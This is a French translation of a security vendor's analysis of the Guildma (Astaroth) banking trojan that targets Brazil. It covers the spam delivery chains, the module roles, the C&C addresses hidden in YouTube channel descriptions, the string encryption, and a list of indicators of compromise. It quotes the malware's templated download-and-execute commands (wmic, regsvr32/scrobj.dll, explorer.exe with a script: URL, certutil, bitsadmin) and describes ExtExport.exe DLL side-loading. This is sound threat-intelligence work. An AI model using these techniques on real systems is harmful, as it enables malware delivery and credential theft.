Dans ce billet, nous allons examiner Guildma (également connu sous le nom d'Astaroth, un puissant démon), un cheval de Troie bancaire latino-américain très répandu. Ce cheval de Troie ciblant le Brésil, écrit en Delphi, se distingue par des techniques d'exécution et d'attaque innovantes. Nous allons décrire la version la plus récente, en soulignant les changements les plus notables apportés depuis le milieu de l'année 2019, lorsqu'une avalanche d'articles sur Guildma a été publiée en réponse à sa plus grande campagne à ce jour.

Caractéristiques

Guildma est un cheval de Troie bancaire latino-américain qui vise exclusivement le Brésil. Sur la base de notre télémétrie - ainsi que de l'attention publique qu'elle a reçue - nous pensons qu'il s'agit du cheval de Troie bancaire le plus efficace et le plus avancé de la région. En plus de cibler les institutions financières, Guildma tente également de voler les identifiants des comptes de messagerie, des boutiques en ligne et des services de streaming, et touche au moins dix fois plus de victimes que les autres chevaux de Troie bancaires latino-américains déjà décrits dans cette série. Il utilise des méthodes d'exécution innovantes et des techniques d'attaque sophistiquées.

Contrairement aux chevaux de Troie bancaires latino-américains que nous avons décrits précédemment, Guildma ne stocke pas les fausses fenêtres pop-up qu'il utilise dans le binaire. Au lieu de cela, l'attaque est orchestrée par son serveur C&C. Cela donne aux auteurs une plus grande flexibilité pour réagir aux contre-mesures mises en place par les banques ciblées.

Guildma met en œuvre les fonctionnalités de porte dérobée suivantes :

  • Prise de captures d'écran
  • Saisie des frappes
  • Émulation du clavier et de la souris
  • Blocage des raccourcis (comme la désactivation de la combinaison Alt + F4 pour rendre plus difficile l'élimination des fausses fenêtres qu'elle peut afficher)
  • Téléchargement et exécution de fichiers
  • Redémarrage de la machine.

Guildma est très modulaire. Au moment de la rédaction du présent document, elle se compose de 10 modules, sans compter les étapes de la chaîne de distribution. La fonctionnalité des différents modules sera examinée plus tard.

Évolution des chaînes de distribution

Notre télémétrie indique que Guildma se propage exclusivement par des courriers électroniques de spam avec des pièces jointes malveillantes. Voici quelques exemples d'une campagne menée à partir de la mi-novembre 2019.

Figure 1. Exemple de spam (traduction : « Bonjour, veuillez m'expliquer ces photos. J'attends votre explication! »).

Figure 2. Exemple de courrier indésirable (traduction : « Cher membre du consórcio, vous trouverez ci-joint la preuve de l'offre n° 75432 »).

Figure 3. Exemple de courrier indésirable (traduction : « Bonjour, j'envoie la preuve de transfert - DOC. Citibank »).

Figure 4. Exemple de spam : Fausse facture indiquant qu'un paiement est dû après-demain et que le traitement du paiement peut prendre jusqu'à 72 heures.

L'une des caractéristiques des chaînes de distribution de Guildma est l'utilisation d'outils déjà présents sur le système, souvent de manière nouvelle et inhabituelle.

Une autre caractéristique est la réutilisation des techniques. De nouvelles techniques sont ajoutées de temps à autre, mais pour la plupart, les développeurs semblent simplement réutiliser des techniques des anciennes versions.

Figure 5. Chaîne de distribution de Guildma version 150

La figure 5 montre la chaîne de distribution de la version 150, mais la structure des chaînes de distribution de Guildma est très dynamique. Par exemple, dans les versions précédentes, le fichier LNK malveillant montré dans la figure 5 n'était pas intégré dans une archive ZIP, ou une archive SFX RAR contenant un installateur MSI était utilisée à la place. De plus, il y avait une autre étape JScript dont le seul but était de télécharger et d'exécuter l'étape JScript finale; il y a eu trop de changements dans l'ensemble pour que nous puissions les intégrer dans cet article. En fait, la seule partie qui n'a pratiquement pas changé est l'étape finale du JScript.

En utilisant les données de notre suivi à long terme et approfondi de cette famille, nous obtenons une très bonne image de l'activité de Guildma.

La figure 6 montre toutes les détections d’ESET de la composante de première étape de Guildma. Comme vous pouvez le voir, les campagnes s'intensifiaient lentement jusqu'à une campagne massive en août 2019, où nous avons vu jusqu'à 50 000 échantillons par jour. Cette campagne a duré près de deux mois et a représenté plus du double du nombre de détections que nous avions vues au cours des dix mois précédents.

Figure 6. Détections de la première phase de la Guildma depuis octobre 2018

Following is a summary of some of the more interesting techniques used in the last 14 months.

Exécution de l’étape JScript

Au cours de l'année dernière, Guildma a utilisé plusieurs méthodes pour exécuter les étapes JScript de sa chaîne de distribution. À la fin de 2018, Guildma cachait son code dans des fichiers eXtensible Stylesheet Language (.xsl) et utilisait wmic.exe pour les télécharger et les exécuter :

wmic.exe <wmic query> /format:"<URL>"

Il est ensuite brièvement passé à l'utilisation de regsvr32.exe et scrobj.dll pour télécharger un objet COM implémenté par JScript et exécuter sa routine d'enregistrement (qui contient le code malveillant) :

regsvr32.exe /s /n /u /i:<URL> scrobj.dll

Plus récemment, les auteurs ont commencé à abuser de l'explorateur Windows pour exécuter l'étape JScript. Cette attaque repose sur le fait que l'Explorateur Windows tente d'ouvrir tout fichier qui lui est transmis en ligne de commande avec son programme associé et sur le fait que l'association par défaut pour les fichiers .js est Microsoft Windows Script Host. Le « script » transmis à Windows Explorer est une commande unique dont le but est de télécharger et d'exécuter l'étape JScript :

echo GetObject('script:<URL>') > <file>.js | explorer.exe <random switches> <file>.js

Exécution des modules binaires

Les méthodes de fonctionnement des modules de PE ne sont pas moins diverses.

Lorsque nous avons commencé à suivre Guildma, il abusait du fichier aswRunDll.exe d'Avast pour lancer la première étape binaire, avec regsvr32.exe comme basculement pour les ordinateurs sur lesquels les produits d'Avast n'étaient pas installés. L'utilisation de aswRunDll.exe a ensuite été abandonnée, laissant regsvr32.exe comme seule méthode d'exécution. Après une brève période d'utilisation de rundll32.exe, Guildma est passé à sa méthode d'exécution actuelle — ExtExport.exe.

ExtExport.exe est un composant non documenté de Microsoft Internet Explorer utilisé pour exporter les signets de Mozilla Firefox et de 360 Secure Browser, et peut être utilisé abusivement pour le chargement latéral de DLL. Lorsque la commande suivante est exécutée, mozcrt19.dll, mozsqlite3.dll et sqlite3.dll sont chargés à partir du dossier spécifié sur la ligne de commande :

C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>

Pour abuser de ceci, vous devriez normalement déposer la DLL à charger comme l'un des fichiers mentionnés ci-dessus; Guildma utilise les trois.

Téléchargement des modules binaires

Guildma a également utilisé plusieurs moyens différents pour télécharger les modules binaires. La première version utilisait certutil.exe copié sur certis.exe (vraisemblablement pour échapper à la détection) :

certis.exe -urlcache -split -f "<URL>" "<destination path>"

Les auteurs sont ensuite passés à BITSAdmin — l'outil de gestion du service de transfert intelligent de Microsoft Background - et l'utilisent toujours au moment de la rédaction du présent document :

bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>

Pendant quelques mois, les modules binaires ont été encodés en base64 et hébergés sur le Google Cloud. Pendant ce temps, Guildma utilisait à la BITSAdmin et certutilBITSAdmin pour télécharger les modules et certutil pour les décoder.

Autres changements

Guildma utilise des noms de variables et de fonctions étranges et non descriptifs. Lorsque nous avons commencé à suivre Guildma, les noms, bien qu'absurdes, étaient clairement d'origine humaine (par exemple « radador » pour la fonction de nombres aléatoires ou « Bxaki » pour la fonction de téléchargement). En juin 2019, ils ont tous été changés pour des noms d'apparence aléatoire (par exemple « bx021 » et « mrc430 »). Au début, nous pensions que les auteurs avaient mis en place une sorte d’obfuscateur de script automatisé, mais il s'est avéré qu'il s'agissait d'un changement ponctuel et les noms sont restés les mêmes depuis.

Un ajout relativement récent est la technique séculaire d'utilisation d'ADS (Alternate Data Streams) pour stocker les modules binaires. Tous les modules sont désormais stockés sous la forme ADS d'un seul fichier (par exemple, « desktop.ini:nauwuygiaa.jpg »« desktop.ini:nauwuygiab.jpg », etc.)

Historique des versions

Guildma a apparemment connu de nombreuses versions au cours de son développement, mais il y a eu généralement très peu de développement entre les versions - en raison de son architecture maladroite utilisant des valeurs de configuration codées en dur, les auteurs doivent pour la plupart recompiler tous les binaires pour chaque nouvelle campagne. Un travail qui n'est évidemment pas complètement automatisé, car il y a souvent eu un délai important entre la mise à jour du numéro de version dans les scripts et dans les binaires.

Dans cet article, nous couvrons la version 150, mais depuis que nous avons commencé à écrire, deux autres versions ont été publiées. Elles ne contiennent aucun changement substantiel dans les fonctionnalités ou la distribution, ce qui confirme nos affirmations sur le cycle de développement de Guildma.

L'étape finale de la chaîne de distribution contenait un nom de version (et même avant cela, elle avait l'habitude de télécharger ledit nom avec les modules binaires), mais il a été (probablement) remplacé de façon permanente par un simple « xXx » depuis la version 148.

Le tableau 1 résume toutes les versions publiées depuis que nous avons commencé à suivre activement Guildma en octobre 2018. En regardant les chaînes de version, on a l'impression que l'auteur est passionné tant par l'écologie et les voitures rapides.

Tableau 1. Historique des versions de Guildma

First seen Version number Version name Version prefix
2018-09-18 131 131_SUPER_Tesla marxvxinhhm
2018-10-31 132 132_ULTRA_Tesla srsysddirrx
2018-11-28 133 133_TORRE_DE_Tesla mxgetronicosxy
2018-11-29 134 134_MAXX_TESLAs dwqiopawsamazon
2018-12-03 135 135_MOAB_TESLAs lu769tsla
2018-12-13 136 136_KRAKEN_TESLAs lrdsnhrxxfery
2019-02-06 137 137_RAPTOR_TESLAs rakpat0rpcack
2019-03-21 138 138_RAPTOR_TESLAs_ hillwd763free
2019-05-20 139 139_TESLA_ falxconxrenw
2019-06-03 140 140_ASTH_ valehraysystqx
2019-06-24 141 141_T3SL4S_ ayt3ese4xw
2019-07-17 142 142_T3SL4S_ halawxtz
2019-08-09 143 143_T3SL4S_ asmonnwqk
2019-08-26 144 144_MULT1T3SL4S_ daffsyshqy
2019-09-26 145 145_MULT1T3SL4S_ landoqeahjky
2019-10-16 146 146_MULT1T3SL4S_ valkanxpca
2019-11-04 147 147_MULT1T3SL4S_ koddsuffy
2019-11-19 148 xXx lpquayevvt
2019-11-22 149 #rowspan# nauwuygia
2019-12-13 150 #rowspan# andrealfo
2020-01-14 151 #rowspan# balberith
2020-02-05 152 #rowspan# masihaddajjal

Aperçu du module

Comme mentionné précédemment, Guildma est très modulaire; la structure de ses modules semble être essentiellement constante. Dans cette section, nous allons décrire brièvement la fonctionnalité de chaque module.

Tous les noms de modules sont composés d'un préfixe commun, dépendant de la version, et d'un suffixe spécifique au module. Dans le tableau 2, le préfixe dépendant de la version est andrealfo.

Le tableau 2. Vue d'ensemble des modules de Guildma

URL filename Filesystem filename Module
andrealfohh1a.dll.zip andrealfo64.~ Main module loader 1 (part 1)
andrealfohh1b.dll.zip #rowspan# Main module loader 1 (part 2)
andrealfoxa.gif.zip andrealfoxa.gif Main module injector (part 1)
andrealfoxb.gif.zip andrealfoxb.gif Main module injector (part 2)
andrealfoxc.gif.zip andrealfoxc.gif Main module injector (part 3)
andrealfogx.gif.zip andrealfogx.gif Main module loader 2
andrealfog.gif.zip andrealfog.gif Main module
andrealfoc.jpg.zip andrealfoc.jpg Contacts stealer and form grabber module
andrealfodwwn.gif.zip andrealfodwwn.gif RAT module (DLL)
andrealfodx.gif.zip andrealfodx.gif RAT module (EXE)
andrealfoa.jpg.zip andrealfoa.jpg MailPassView
andrealfob.jpg.zip andrealfob.jpg WebBrowserPassView
andrealfoi.gif.zip andrealfoi.gif JScript dropper module

À l'exception du chargeur de module principal 1 (*64.~) et de l'injecteur de module principal (*xa.gif, *xb.gif et *xc.gif), tous les modules sont chiffrés avec un simple chiffrement XOR utilisant une clé répétitive de 32 octets. La clé est générée à partir d'une valeur initiale de 32 bits à l'aide de l'algorithme illustré à la figure 7. Cette valeur initiale est obfusquée dans les binaires pour empêcher une extraction simple (voir figure 8).

key = bytearray ();
for i in range ( 32 ):
	key . append ( seed & 0xff );
	seed >>= 1;

Figure 7. Algorithme de génération de clés

Figure 8. Obfuscation de la valeur initiale dans le binaire

Trois modules communiquent avec un serveur C&C : Module principal, module RAT, et voleur de contacts et de formulaires. La communication s'effectue via HTTP(S) en utilisant une combinaison de base64 et de divers algorithmes de chiffrement simples et personnalisés pour protéger les données transférées.

Dans la section suivante, nous décrivons comment l'adresse du serveur C&C est obtenue.

Loadeur du module principal 1 (*64.~)

C'est la première étape binaire de la chaîne.  Le fichier est une DLL téléchargée en deux parties, qui sont concaténées par l'étape JScript précédente. Il charge les trois fichiers composant le chargeur de l'étape suivante (*xa.gif, *xb.gif et *xc.gif), les concatène, mappe le fichier PE résultant dans son propre espace d'adressage et l'exécute.

Le chargement d'un fichier PE est un processus relativement complexe, c'est pourquoi les auteurs ont utilisé la librairie open-source BTMemoryModule à cette fin.

Injecteur du module principal (*xa.gif + *xb.gif + *xc.gif)

Ce module charge l'étape suivante (*gx.gif) à partir du disque et la déchiffre. Il exécute ensuite le premier exécutable existant de la liste suivante et y injecte la charge utile déchiffrée.

  • C:\Program Files\AVAST Software\Avast\aswRunDll.exe
  • C:\Program Files\Diebold\Warsaw\unins000.exe *
  • C:\Windows\SysWOW64\userinit.exe
  • C:\Windows\System32\userinit.exe

*  Une application populaire au Brésil pour protéger l'accès aux services bancaires en ligne.

Loadeur de module principal 2 (*gx.gif)

La dernière étape du chargeur est très simple et semble dupliquer inutilement la fonctionnalité du chargeur de module principal 1. Il charge et déchiffre le module principal (*g.gif), le mappe dans son propre espace mémoire et l'exécute.

Module principal (*g.gif)

Le module principal de Guildma orchestre tous les autres modules. Sa mise en œuvre est d'une complexité trompeuse, utilisant d'innombrables minuteries et événements, mais sa fonctionnalité est en fait relativement simple. Il contient du code ancien qui n'est plus utilisé ainsi que du code de pré-production qui n'est pas encore utilisé.

Au chargement, ce module vérifie s'il fonctionne dans un environnement « sandbox » (par exemple, en examinant le nom de l'ordinateur et l'ID du volume du disque système), s'il existe d'autres instances en cours d'exécution (sur la base des noms de fenêtres) et si la langue du système est différente du portugais. Si une vérification révèle que le système est inintéressant ou déjà compromis par Guildma, le logiciel malveillant s’arrête de lui-même.

Dans le cas contraire, le module collecte alors des informations sur le système (nom de l'ordinateur, logiciel de sécurité utilisé, programmes installés...) et établit un contact avec le serveur de C&C. Il commence alors à surveiller les événements intéressants, principalement lors du lancement de certaines applications ou de l'ouverture de sites de banque en ligne, et à exécuter les actions appropriées (par exemple, prendre des captures d'écran, empêcher l'utilisateur de fermer la fenêtre en interceptant les raccourcis clavier, lancer le module RAT, etc.)

Le module met également en œuvre des commandes de porte dérobée dont la fonctionnalité recoupe largement celle du module RAT.

Voleur de contacts et graveur de formulaires (*c.jpg)

Ce module a deux fonctions : la collecte d'adresses électroniques et de données de formulaires à partir de pages Web.

Les adresses électroniques sont obtenues à partir de clients de messagerie de bureau (tels que Microsoft Outlook, ThunderBird et The Bat !) en analysant leurs carnets d'adresses ainsi que les courriers électroniques eux-mêmes.

Le collecteur de formulaires utilise la technologie COM de Windows pour interagir avec Internet Explorer. Il attend qu'un site ciblé soit ouvert (principalement des webmails, des boutiques en ligne et des passerelles de paiement brésiliens) et déconnecte ensuite l'utilisateur, obligeant la victime à saisir ses identifiants. Il récupère ensuite le DOM et recherche les valeurs importantes des champs de saisie (tels que les noms d'utilisateur, les mots de passe et les numéros de carte de crédit).

Module RAT (*dwwn.gif, *dx.gif)

Le module RAT se présente sous la forme de deux compilations fonctionnellement identiques - DLL (*dwwn.gif) et EXE (*.dx.gif).

Il met en œuvre les fonctionnalités de téléchargement et d'exécution, peut faire des captures d'écran, émuler la saisie au clavier et à la souris, et redémarrer l'ordinateur.

La plupart des chevaux de Troie bancaires latino-américains affichent de fausses fenêtres pop-up basées sur la surveillance du nom de la fenêtre active. Ces fenêtres sont généralement stockées dans le binaire. Nous n'avons pas trouvé un tel code dans Guildma, mais le module RAT contient un formulaire Delphi mettant en œuvre un simple navigateur Web. Comme il est également exécuté sur la base du nom de la fenêtre active, nous pensons que ce formulaire est utilisé pour afficher de faux dialogues à l'utilisateur.

MailPassView (*a.jpg) et BrowserPassView (*b.jpg)

Il s'agit d'outils gratuits de Nirsoft permettant d'extraire les informations d'identification enregistrées dans les clients de messagerie électronique et les navigateurs web les plus populaires, respectivement. Depuis que Nirsoft a supprimé le support du fonctionnement silencieux (sortie dans un fichier, sans interface graphique) des versions plus récentes afin de limiter l'abus de ces outils par les logiciels malveillants, les auteurs de Guildma utilisent des versions plus anciennes qui possédaient ces fonctionnalités. Les mêmes outils sont également utilisés par Mispadu. Par contre, Mispadu utilise des versions plus récentes avec le support du fonctionnement silencieux réintégré.

Dropper du module JScript (*i.gif)

This module drops and executes (using cscript.exe) a JScript file. The script consists of two parts — the first part is stored as one long encrypted string, while the second part is assembled from many short strings (some encrypted and some in plaintext). Worthy of note is the fact that strings in the dropped JScript file are encrypted by this dropper module with a randomly generated key, so they are present in the clear in the dropper.

The script executes the following actions:

Ce module dépose et exécute (à l'aide de cscript.exe) un fichier JScript. Le script se compose de deux parties : la première partie est stockée sous la forme d'une longue chaîne chiffrée, tandis que la seconde partie est assemblée à partir de nombreuses chaînes courtes (certaines chiffrées et d'autres en texte clair). Il convient de noter que les chaînes du fichier JScript déposé sont chiffrées par ce module de dépôt avec une clé générée de manière aléatoire, de sorte qu'elles sont présentes en clair dans le dépôt.

Le script exécute les actions suivantes :

  • Désactive l'UAC
  • Désactive la vérification de la signature EXE
  • Désactive Windows Defender
  • Crée une règle de pare-feu désactivant l'accès au réseau.
    C:\Program Files\AVAST Software\Avast\Setup\avast.setup
  • Désactive le pilote wsddntf (Diebold Warsaw GAS Tecnologia - le logiciel de protection de l'accès aux services bancaires introduit plus tôt)
  • Ajoute une exception de pare-feu pour les fichiers utilisés comme cibles d'injection.
    • C:\Program Files\Diebold\Warsaw\unins000.exe
    • C:\Program Files\AVAST Software\Avast\aswRunDll.exe

Nous croyons que ce module pourrait encore être en cours de développement, car nous ne l'avons jamais observé déposer le script sur l’une ou l’autre de nos machines de test.

Nouveaux développements (depuis la mi-2019)

Nouvel extracteur C&C

Dans la version 142, un nouveau mode de distribution des serveurs C&C, abusant des profils YouTube et Facebook, a été mis en place. Cependant, les auteurs ont cessé d'utiliser Facebook presque immédiatement et, au moment de la rédaction de ce document, ils se fient entièrement à YouTube. Ceci fonctionne de façon similaire à Casbaneiro, mais en un peu plus grossier. Alors que Casbaneiro cachait les données dans des descriptions vidéo et les obfusquait en les intégrant dans une URL, Guildma se contente de placer les données dans la description du canal. Le début et la fin des adresses C&C chiffrées sont délimités par « ||| ». Les données intermédiaires sont codées en base64 et chiffré à l'aide de l'algorithme de chiffrement de chaînes de Mispadu. C'est maintenant la principale méthode de récupération des serveurs C&C; l'ancienne méthode (décrite par Avast) est toujours présente en tant que sauvegarde.

Figure 9. Domaines de serveurs C&C Guildma chiffrés et stockés sur YouTube

Modules ajoutés et supprimés

Le module compte-gouttes JScript décrit précédemment a été ajouté dans la version 145. A l'inverse, dans la version 139, Guildma a supprimé deux autres modules présents dans les versions antérieures - le mass mailer (*f.jpg) et son chargeur (*e.jpg). Dans les versions suivantes, ces modules étaient toujours accessibles sous les noms attendus (<version prefix>e.jpg et <version prefix>f.jpg) à partir du même serveur que les autres modules. Cela nous amène à penser que ces modules sont toujours en cours de développement, mais qu'ils ne sont désormais distribués que selon les besoins, vraisemblablement en utilisant la commande de téléchargement et d'exécution de la backdoor.

Nouveau chiffrement des chaînes de caractères

Le module JScript dropper a apporté avec lui un nouvel algorithme de chiffrement des chaînes de caractère. Une variante de cet algorithme (illustrée à la figure 10) a été propagée dans d'autres modules dans la version 147.

def decrypt ( ct, key ):
	# stage 1
	ct = unhexlify ( ct );
	last = ct [ 0 ];
	s = bytearray ( ct [ 1 : ] );
	for i in range ( len ( s ) ):
		x = s [ i ] ^ key [ i % len ( key ) ];
		if last > x:
			x += 0xff;
		x -= last;
		last = s [ i ];
		s [ i ] = x;

	# stage 2 - reverse string
	s = s [::-1]; 

	# stage 3 - c = not ( c - 10 )
	s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] ); 

	# stage 4 - Base25 decode and key subtraction
	k = ord ( s [ 0 ] ) - 65;
	ot = "";
	for i in range ( 1, len ( s ), 2 ):
		ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );

	return ot;

Figure 10. Nouvel algorithme de chiffrement des chaînes de caractères

A l'origine, Guildma utilisait le même chiffrement de chaîne que Casbaneiro. Le nouvel algorithme comporte quatre étapes et, comme vous pouvez le voir, l'algorithme original de chiffrement des chaînes de caractères est toujours utilisé comme première étape. Il faut également noter que la quatrième étape utilise à nouveau l'algorithme de chiffrement de Mispadu.

Dans la version 148, Guildma a mis en place une table de chaînes de caractères. L’ensemble des chaînes y sont déchiffrées au début de l'exécution et accessibles à partir de la table si nécessaire.

Suppression des cibles internationales

Dans la version 138, Guildma a ajouté la possibilité de cibler des institutions (principalement des banques) en dehors du Brésil. Malgré cela, nous n'avons observé aucune campagne internationale; les campagnes hébergeant des fichiers sur l'infrastructure des travailleurs de Cloudflare sont même allées jusqu'à bloquer tout téléchargement provenant d'IP non brésiliens. En fait, au cours des 14 derniers mois, nous n'avons vu aucune campagne ciblant les utilisateurs hors du Brésil.

Enfin, dans la version 145, la possibilité de cibler des institutions en dehors du Brésil a été supprimée. Sur la base de ces faits, nous croyons qu'il s'agissait simplement d'une fonctionnalité en cours de développement qui a fini par être supprimée.

Conclusion

Dans cette partie de la série, nous avons parlé de Guildma, le cheval de Troie bancaire latino-américain le plus répandu que nous ayons vu. Nous avons montré la richesse de son évolution historique tout en nous concentrant sur la variante la plus récente.

Guildma partage une fois de plus les caractéristiques dominantes d'un cheval de Troie bancaire latino-américain. Il est écrit en Delphi, cible la région, implémente une fonctionnalité de backdoor, divise sa fonctionnalité en plusieurs modules et abuse d'outils légitimes.

Guildma partage également des caractéristiques communes intéressantes avec les familles décrites plus haut dans cette série. En effet, son algorithme de chiffrement actuel combine ceux utilisés par Casbaneiro et Mispadu.

Pour toute question, contactez-nous à l'adresse suivante : threatintel@eset.com. Des indicateurs de compromis peuvent également être trouvés dans notre dépôt GitHub.

Indicateurs de compromission (IoCs)

Hashes

SHA-1 Description ESET Detection name
45c58bc40768dce6a6c611e08fd34c62441aa776 Main module loader 1 Win32/Spy.Guildma.BM
861f20b0dcc55f94b4c43e4a7e77f042c21506cf Main module injector Win32/Spy.Guildma.BJ
37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1 Main module loader 2 Win32/Spy.Guildma.Q
a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d Main module Win32/Spy.Guildma.BS
4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc Contacts stealer and form grabber Win32/Spy.Guildma.D
6c9304c5862d4e0de1c86d7ae3764f5e8358daff RAT module (DLL) Win32/Spy.Guildma.BR
89fbffe456de850f7abf4f97d3b9da4bad6afb57 RAT module (EXE) Win32/Spy.Guildma.BR
af0d495ecc3622b14a40ddcd8005873c5ddc3a2d MailPassView Win32/PSWTool.MailPassView.E
92bcf54079cbba04f584eac4486473c3abdd88cd WebBrowserPassView Win32/PSWTool.WebBrowserPassView.E
a2048f435f076988bf094274192a196216d75a5f JScript dropper module Win32/Spy.Guildma.BP

Noms de fichier

C:\Users\Public\Libraries\qlanl\*

Liens de démarrage

  • Location

%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk

  • Cibles

C:\Program Files (x86)\Internet Explorer\ExtExport.exe
C:\Program Files\Internet Explorer\ExtExport.exe

  • Args

<install dir> <rand> <rand>
(où <rand> est une chaîne aléatoire de 5 à 9 caractères générée à partir de l'alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)

Serveurs C&C

  • https://www.zvatrswtsrw[.]ml
  • https://xskcjzamlkxwo[.]gq
  • https://www.vhguyeu[.]ml
  • https://www.carnataldez[.]ml
  • https://www.movbmog[.]ga
  • https://iuiuytrytrewrqw[.]gq
  • https://www.gucinowertr[.]tk
  • https://equilibrios[.]ga
  • https://www.clooinfor[.]cf
  • https://ambirsr[.]tk
  • https://dbuhcbudyu[.]tk
  • https://nvfjvtntt[.]cf
  • http://whia7g.acquafufheirybveru[.]online

Techniques MITRE ATT&CK

Tactic ID Name Description
Initial Access T1193 Spearphishing Attachment Guildma distribution chains start with a malicious email attachment.
Execution T1073 Rundll32 Guildma utilizes rundll32.exe to execute its binary modules.
T1047 Windows Management Instrumentation Guildma abuses WMIC.exe to execute some of its distribution chain stages.
Persistence T1060 Registry Run Keys / Startup Folder Guildma ensures persistence by creating a LNK file in the %STARTUP% folder.
Defense Evasion T1197 BITS Jobs BITSAdmin.exe is used to download binary modules.
T1089 Disabling Security Tools Guildma disables Windows Defender.
T1140 Deobfuscate/Decode Files or Information The majority of Guildma modules need to be decrypted after downloading.
T1073 DLL Side-Loading Guildma abuses ExtExport.exe for DLL Side-Loading.
T1096 NTFS File Attributes Guildma utilizes ADS to hide its modules on disk.
T1055 Process Injection Guildma utilizes process injection when executing its modules.
T1064 Scripting Guildma implements its distribution chain stages in various scripting languages (mainly JScript).
T1220 XSL Script Processing Guildma utilizes XSL script(s) in its distribution chains.
Credential Access T1081 Credentials in Files Guildma extracts credentials stored by web browsers and email clients in files.
T1214 Credentials in Registry Guildma extracts credentials stored by web browsers and email clients in Windows Registry.
Discovery T1083 File and Directory Discovery Guildma uses presence of certain files to determine whether banking and security tools are installed.
T1010 Application Window Discovery Guildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running.
T1063 Security Software Discovery Guildma detects the presence of several security products.
T1082 System Information Discovery Guildma collects OS version and bitness, computer name and system locale.
T1497 Virtualization/Sandbox Evasion Guildma uses directory names, computer names, volume IDs, and existence of named objects to detect sandboxes and virtualized environments.
Collection T1113 Screen Capture Guildma is capable of taking screenshots.
Command and Control T1024 Custom Cryptographic Protocol New C&C addresses are encrypted using custom encryption algorithms.
Exfiltration T1041 Exfiltration Over Command and Control Channel Guildma uploads screenshots and log files to the C&C server.